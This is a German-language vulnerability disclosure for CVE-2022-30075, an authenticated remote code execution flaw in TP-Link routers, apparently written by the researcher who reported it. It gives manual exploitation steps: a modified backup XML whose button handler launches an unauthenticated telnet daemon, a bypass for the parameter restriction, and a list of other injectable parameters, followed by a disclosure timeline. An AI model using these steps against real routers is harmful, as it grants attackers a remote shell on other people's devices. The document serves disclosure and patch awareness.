CVE-2022-30075

Authentifizierte Remote-Codeausführung in Tp-Link-Routern

Betroffene Geräte

Wenn Ihr Tp-Link-Router über eine Backup- und Wiederherstellungsfunktion verfügt und die Firmware älter als Juni 2022 ist, ist er wahrscheinlich anfällig

Getestet mit

Tp-Link Archer AX50, andere Tp-Link-Router verwenden möglicherweise ein anderes Format für Backups und der Exploit muss angepasst werden

PoC

Verwenden des Exploits zum Starten des Telnet-Daemons auf dem Router

Manuelle Ausnutzung

1. Anmelden an der Router-Weboberfläche
2. Gehen Sie zu Erweitert -> System -> Backup-Einstellungen
3. Entschlüsseln und dekomprimieren Sie die Backup-Datei

• Wenn Ihr Router ein anderes Format für Backup-Dateien verwendet, können Sie den Exploit-Code anpassen (Klasse BackupParser) oder einfach ein Tool von GitHub verwenden:
  https://github.com/stdnoerr/tp_link_credentials_harvester/blob/master/decrypt.py
  https://github.com/ret5et/tplink_backup_decrypt_2022.bin
  ...

4. In der entschlüsselten XML-Datei finden Sie etwa Folgendes:

<button name="led_switch">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/lib/led_switch</handler>
</button>

• Ersetzen Sie es durch diese Zeilen

<button name="exploit">
  <action>pressed</action>
  <button>ledswitch</button>
  <handler>/usr/sbin/telnetd -l /bin/login.sh</handler>
</button>

• Es gibt eine Einschränkung, die die Änderung des Parameters system.button.handler blockiert, aber sie kann einfach umgangen werden, indem der Name des übergeordneten XML-Knotens geändert wird (z.B. name="exploit")
• Eine Codeausführung kann nicht nur durch Ändern des Parameters system.button.handler, sondern auch durch Verwendung von ddns.service.ip_script, firewall.include.path, uhttpd.main und anderen erreicht werden...

5. Komprimieren und verschlüsseln Sie die modifizierte Backup-Datei
6. Gehen Sie zu Erweitert -> System -> Einstellungen wiederherstellen -> Laden Sie die modifizierte Backup-Datei hoch
7. Drücken Sie nach dem Neustart den LED-Button, der die Ausführung des injizierten Befehls /usr/sbin/telnetd -l /bin/login.sh auslöst
8. Melden Sie sich remote am Router an: telnet 192.168.1.1

Zeitplan

15.03.2022 - Schwachstelle identifiziert
15.03.2022 - Tp-Link-Support kontaktiert
16.03.2022 - Antwort von Tp-Link erhalten
02.05.2022 - CVE zugewiesen
27.05.2022 - Tp-Link veröffentlichte Firmware mit behobener Schwachstelle
07.06.2022 - Technische Details veröffentlicht